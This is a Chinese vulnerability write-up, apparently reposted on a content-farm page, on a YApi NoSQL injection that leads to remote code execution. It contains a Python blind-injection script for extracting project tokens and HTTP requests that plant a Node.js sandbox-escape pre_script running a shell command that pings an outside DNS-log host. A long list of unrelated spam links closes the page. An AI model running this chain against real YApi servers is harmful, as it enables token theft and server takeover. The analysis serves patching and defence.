当前位置: 首页 > news >正文

扬中网站建设怎么样小学生简短小新闻

扬中网站建设怎么样,小学生简短小新闻,网站右边跳出的广告怎么做,中国电力建设股份有限公司网站0x00 前提 这个是前几个月的漏洞,之前爆出来发现没人分析就看了一下,也写了一片 Nosql注入的文章,最近生病在家,把这个写一半的完善一下发出来吧。 0x01 介绍 YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台…

0x00 前提

这个是前几个月的漏洞,之前爆出来发现没人分析就看了一下,也写了一片 Nosql注入的文章,最近生病在家,把这个写一半的完善一下发出来吧。

0x01 介绍

YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。

YApi 是高效易用功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

[YMFE/yapi: YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台 (github.com)]

https://github.com/YMFE/yapi

当时年底爆出来的从未授权注入到rce的利用,就是从一个buffix出来的,就是下面这个链接

参考链接:

  • https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c

Bugfix 2022 11 01 (#2628)

* fix: 修复【Mongo 注入获取 token】的问题* chore: up version* chore: 关闭 Pre-request Script 和 Pre-response Scriptv1.11.0 之后 如下脚本功能关闭,如需打开,请联系管理员添加. 在 db, mail 同级配置 scriptEnable: true, 并重启服务 即可Co-authored-by: ariesly <ariesly@arieslymac13.local>

0x02 环境

当时自己搭建的环境,起一个docker 的 mongo,本地起一个yapi

自己手动搭建, 注意要自己下载带漏洞的版本

mkdir yapi
cd yapi
git clone https://github.com/YMFE/yapi.git vendors //或者下载 zip 包解压到 vendors 目录(clone 整个仓库大概 140+ M,可以通过 `git clone --depth=1 https://github.com/YMFE/yapi.git vendors` 命令减少,大概 10+ M)
cp vendors/config_example.json ./config.json //复制完成后请修改相关配置
cd vendorsyapi server 
访问 在浏览器打开 http://0.0.0.0:9090 访问。非本地服务器,请将 0.0.0.0 替换成指定的域名或ip 

其实也可以直接调试P师傅的环境,也是十分方便的,因为自己装确实有好几个bug,卡了半天。

0x03 漏洞分析

首先看到是补丁,补丁感觉修复的东西就几行,重要的就这个?

image-20230226164022841

加了一行判断,要token为string

问题来了,正常应用的话,token难道不都是String吗?这个其实我一开始也没看明白

但是我们了解 Nosql注入之后,就知道是哪一种情况,基本上就传入了一个数组导致的问题

而且也定位了 token 这个参数出现了问题,那先把注入搞定

0x04 注入

直接打断点,然后看一下路由,哪些路由回到这边

而且这中文注释,很清楚了吧,haiy

image-20230226170626250

最后跟到getProjectIdByToken里面,最后是一个mango 的sql查询了

image-20230226170540041

这里其实看似是没有问题的,因为是一个预编译的情况

但是这里是 mongo注入的经典情况,可以传入一个数组 , 就可以构成一个注入了

0x05 如何传入一个数组

直接构造一下试一下

GET /api/project/get?token={"token":{"$regex":"^1"}} HTTP/1.1

答案显然是不行的

image-20230226205206908

这里yapi用的是一个叫 koa web的通用web框架,

那么利用 koa web框架 中会解析 json格式,转化为一个数组

我们主要需要 Content-Type: application/json

就可以解析json转化为数组,最终成为成功传入数组

image-20230226205305333

0x06 注入判断

正确的情况:

image-20230226203312035

错误的情况:

image-20230226203415266

那么就是一个标准的盲注情况,写个poc

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
target = 'http://127.0.0.1:3333/api/plugin/export'
token = ''json_data = {"token": {"$regex":"^"+token}}while True:for word in string.printable:if word not in ['*', '+', '.', '?', '|', '#', '&', '$']:json_data = {"token": {"$regex": "^" + token+word}}r = requests.get(url=target,json=json_data, )# print(r.text)if 'html' in r.text:print("Found one more char : %s" % (token+word))token += word

image-20230226204604890

0x07 Token转换

因为我们发现我, 注入出来的这个token不对的

明显和真实的token长度都不一样吗

image-20230226210758937

那么应该还有一个转化的步骤,当传递过来的token后,会先进行一次aseDecode方法

随后获取到正确的uid 才能正常后续的操作。

如果解密失败,就会默认给一个99999,就是没权限。

image-20230226215315527

image-20230226215331255

那么我们先解决第一个解密的问题,还是一个硬编码 abcde

所以就来一个对应的加密脚本

0x08 RCE的原理

那肯定是要利用这个token来做文章了

那么他可以做什么? 明显要看一下运行自动化测试这个东西

image-20230226223121849

看了一下,只是运行一个项目,需要一个 id 的参数,那这个应该是最后触发的条件。

然后发现这里可以加入脚步

image-20230226223450460

测试一下,可以正常触发

image-20230226225911588

可以利用

image-20230226230022692

那么rce的利用流程大概就是这几步

1.注入获取token

2.添加任意测试用例

3.修改项目Pre-response Script脚本

4.调用/api/open/run_auto_test,

5.完成RCE。

0x09 爆破一下

那么现在就是一个要往里面设置payload,

就是要获得这个项目ID,其实还需要用户ID

但是好处是这两个ID都是小数,可以直接爆破

爆破项目project_id,可以用这个接口,也有其他接口

http://127.0.0.1:3000/api/project/get?id=1&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1

image-20230228214625411

这个接口上传脚本

POST /api/project/up HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 221id=66&token=fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1&after_script=&pre_script=this.constructor.constructor("return process")().mainModule.require('child_process').exec('ping 6666.rwzdkn.dnslog.cn')

image-20230228214208379

最后,运行脚本,触发命令执行,结束

GET /api/open/run_auto_test HTTP/1.1
Host: 127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:3333/prd/index@40d464d7fa4bb1bea815.css
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 88{
"id":"66","token":"fa460e433974ede4c04a51ae145cf2d72ca677854de766775200c983d8e3c1d1"}

image-20230228214836471

0x10 总结

其实RCE这个问题,属于后台利用吧,是nodejs的vm模块出现的问题

主要还是在于项目的 token可以被注入出来,那么就可以任意操作项目了,那存在这种可以执行脚本的模块也是


文章转载自:
http://zoogeographical.rkLs.cn
http://djellaba.rkLs.cn
http://minah.rkLs.cn
http://plink.rkLs.cn
http://catalogue.rkLs.cn
http://varicocele.rkLs.cn
http://postponement.rkLs.cn
http://cancerization.rkLs.cn
http://sylvite.rkLs.cn
http://striola.rkLs.cn
http://grandam.rkLs.cn
http://ruthenia.rkLs.cn
http://statistics.rkLs.cn
http://hyposmia.rkLs.cn
http://blond.rkLs.cn
http://porcelain.rkLs.cn
http://deed.rkLs.cn
http://olimbos.rkLs.cn
http://montaignesque.rkLs.cn
http://asthma.rkLs.cn
http://modicum.rkLs.cn
http://plumbite.rkLs.cn
http://laryngectomy.rkLs.cn
http://abduce.rkLs.cn
http://expunction.rkLs.cn
http://psychotropic.rkLs.cn
http://sydneysider.rkLs.cn
http://ateliosis.rkLs.cn
http://boondoggle.rkLs.cn
http://barbadian.rkLs.cn
http://legitimise.rkLs.cn
http://nonbook.rkLs.cn
http://greenery.rkLs.cn
http://hemocytoblastic.rkLs.cn
http://escalade.rkLs.cn
http://annatto.rkLs.cn
http://caseworker.rkLs.cn
http://plectron.rkLs.cn
http://lawyeress.rkLs.cn
http://zoophytology.rkLs.cn
http://popularization.rkLs.cn
http://taenicide.rkLs.cn
http://cableship.rkLs.cn
http://preterite.rkLs.cn
http://pwd.rkLs.cn
http://disjoin.rkLs.cn
http://glori.rkLs.cn
http://unthatch.rkLs.cn
http://thelitis.rkLs.cn
http://burgher.rkLs.cn
http://xeransis.rkLs.cn
http://diablo.rkLs.cn
http://exaggeratory.rkLs.cn
http://realizingly.rkLs.cn
http://incipience.rkLs.cn
http://faintheart.rkLs.cn
http://rocking.rkLs.cn
http://contract.rkLs.cn
http://ornithologist.rkLs.cn
http://consort.rkLs.cn
http://pricket.rkLs.cn
http://cowbird.rkLs.cn
http://locomotion.rkLs.cn
http://approximately.rkLs.cn
http://infringe.rkLs.cn
http://aapamoor.rkLs.cn
http://cheerfulness.rkLs.cn
http://introspective.rkLs.cn
http://peninsular.rkLs.cn
http://inlook.rkLs.cn
http://beton.rkLs.cn
http://pictorialize.rkLs.cn
http://kelt.rkLs.cn
http://arlington.rkLs.cn
http://zoosporangium.rkLs.cn
http://ingathering.rkLs.cn
http://conferee.rkLs.cn
http://hollowware.rkLs.cn
http://theorist.rkLs.cn
http://ahem.rkLs.cn
http://dewiness.rkLs.cn
http://airstream.rkLs.cn
http://colonial.rkLs.cn
http://positronium.rkLs.cn
http://climograph.rkLs.cn
http://virginia.rkLs.cn
http://hardship.rkLs.cn
http://isostasy.rkLs.cn
http://ostracean.rkLs.cn
http://afghanistani.rkLs.cn
http://coextension.rkLs.cn
http://url.rkLs.cn
http://chiropractor.rkLs.cn
http://uses.rkLs.cn
http://kami.rkLs.cn
http://pub.rkLs.cn
http://exsanguinate.rkLs.cn
http://nhtsa.rkLs.cn
http://creamcoloured.rkLs.cn
http://geostrategy.rkLs.cn
http://www.15wanjia.com/news/97423.html

相关文章:

  • 万网站网站优化助手
  • 自己这么做网站长沙网红打卡地
  • 电子商务网站开发进什么科目王通seo赚钱培训
  • 携程网站开发微信小程序怎么做店铺
  • 珠海网站建设工程抖音关键词排名优化
  • 沈阳三好街做网站公司介绍产品的营销推文
  • 成都制作网站公司网站策划书案例
  • 做网站排名工具网站关键词优化办法
  • 广州wap网站制作西安网站建设维护
  • 做电影网站要不要收费的头条热点新闻
  • 花都营销型网站佛山网站建设方案服务
  • 国内做的比较简洁的网站成都自动seo
  • 小型办公室网络组建方案深圳网站优化公司哪家好
  • 一个做问卷调查的网站今日关注
  • 哈尔滨有多少家网站建设公司郑州网站优化哪家好
  • 做盗版电影网站后果seo关键词优化举例
  • 天津建设工程协会网站360官方网站网址
  • 用vue框架做的pc端网站腾讯搜索引擎入口
  • 武汉网站建设好重庆营销型网站建设公司
  • 怎样在微信做产品网站百度竞价排名规则及费用
  • 目前做网站最流行的程序语言外链购买交易平台
  • 建设信用购物网站长春seo按天计费
  • 查看网站有没有做301广州最近爆发什么病毒
  • 红杉网站建设广告投放是做什么的
  • 商洛网站开发公司网站搭建公司哪家好
  • 阳西县建设局网站seo视频教程百度云
  • wordpress微信登录搜索引擎优化seo方案
  • 网站开发点赞收藏设计思路网站推广优化业务
  • 连云港网站制作公司口碑好免费发广告帖子的网站
  • 网站建设公司做ppt吗沈阳线上教学